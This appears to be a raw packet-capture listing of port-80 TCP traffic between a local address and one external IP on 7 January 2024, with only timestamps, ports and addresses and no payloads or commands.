Jan 7, 2024 05:29:38.413110018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.413153887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.413320065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.413491011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.413532972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.415164948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.415258884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.415309906 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.416055918 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.416093111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.416143894 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.417923927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.417963982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.418008089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.420749903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.420933008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.420984983 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.421343088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.421432018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.421473980 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.421746016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.421848059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.421890020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.433113098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.433181047 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.433240891 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.488348007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.490919113 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.490988970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.491014004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.491097927 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.491149902 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.491236925 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.551441908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.551456928 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.551515102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.551563025 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.551575899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.551628113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.607219934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.607239008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.607296944 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.607777119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.607866049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.607907057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.611290932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.611371040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.611421108 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.611459017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.611511946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.611547947 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.612929106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.613007069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.613050938 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.616172075 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.616197109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.616266012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.616431952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.616650105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.616689920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.616775990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.616835117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.616873980 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.627213001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.627650023 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.627707958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.685964108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.686002970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.686104059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.686196089 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.686209917 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.686345100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.746718884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.746757984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.746810913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.746879101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.746939898 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.746985912 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.747030020 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.747102022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.747148991 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.802382946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.802804947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.802860022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.804086924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.804125071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.804169893 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.807019949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.807111025 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.807152987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.807249069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.807348967 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.807388067 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.808492899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.808603048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.808650970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.812715054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.812740088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.812782049 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.812849045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.813014030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.813057899 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.823443890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.823488951 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.823724985 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.823769093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.881561995 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.881577969 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.881622076 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.881642103 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.881670952 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.881714106 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.881717920 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.881753922 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.941996098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.942044020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.942087889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.942126989 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.942151070 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.942193031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.942370892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.942411900 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.942451954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.942487955 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.942534924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.942578077 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:38.998735905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.998755932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:38.998814106 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.000071049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.000113964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.000118971 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.000153065 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.003432989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.003483057 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.003521919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.003559113 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.003741026 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.003778934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.003843069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.003879070 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.004798889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.004841089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.004872084 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.004910946 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.009202957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.009248972 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.009289980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.009327888 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.009955883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.010001898 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.010170937 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.010212898 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.019330978 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.019386053 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.019853115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.019906998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.077157021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.077244997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.077255011 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.077410936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.077555895 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.136693954 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.136765003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.136820078 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.136852026 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.137732029 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.137823105 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.192990065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.194566965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.194626093 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.194679022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.197491884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.197530031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.197767019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.199179888 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.199413061 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.203892946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.203917980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.203957081 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.204554081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.204636097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.204674959 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.214185953 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.214839935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.214883089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.273617983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.273998022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.274090052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.274156094 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.333201885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.333432913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.333915949 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.334022045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.334060907 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.334127903 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.334306955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.334350109 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.388835907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.388896942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.389065027 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.391870022 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.391948938 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.392014027 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.393690109 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.393764019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.393821955 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.397707939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.397900105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.397960901 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.398585081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.398689032 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.398725986 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.408638000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.408704042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.408901930 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.468028069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.468138933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.468216896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.527219057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.527272940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.527447939 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.528075933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.528202057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.528242111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.528737068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.528839111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.528883934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.528973103 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.529146910 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.529187918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.582767963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.582895041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.583065033 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.585772038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.585822105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.585870028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.588262081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.588345051 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.588407040 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.591662884 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.591733932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.591805935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.592622042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.592714071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.592863083 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.602859974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.602873087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.602937937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.662235975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.662350893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.662416935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.722202063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.722515106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.722570896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.723555088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.723628044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.723676920 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.724323988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.724384069 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.724426031 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.724477053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.724530935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.724575043 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.777565002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.777800083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.777853966 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.777873039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.777936935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.777972937 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.780273914 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.780344963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.780409098 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.784293890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.784396887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.784451962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.786998034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.787380934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.787445068 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.788208008 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.788220882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.788275003 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.797312975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.797458887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.797513962 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.856128931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.856463909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.856555939 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.918077946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.918302059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.918534994 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.918561935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.918632984 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.918709993 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.919408083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.919611931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.919653893 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.919677019 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.919858932 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.919908047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.973012924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.973097086 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.973156929 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.973167896 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.973256111 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.973304987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.975244045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.975347042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.975395918 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.979057074 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.979171991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.979212999 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.981832981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.981961012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.982002020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.982784033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.982870102 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.982918024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:39.993700027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.993833065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:39.993911028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.051369905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.051460028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.051506996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.113548994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.113589048 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.113640070 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.113698959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.113763094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.113807917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.115211010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.115276098 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.115314960 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.115329981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.115408897 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.115446091 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:40.167071104 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.167159081 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.167227030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:40.167226076 CET	49735	80	192.168.2.4	91.215.85.120
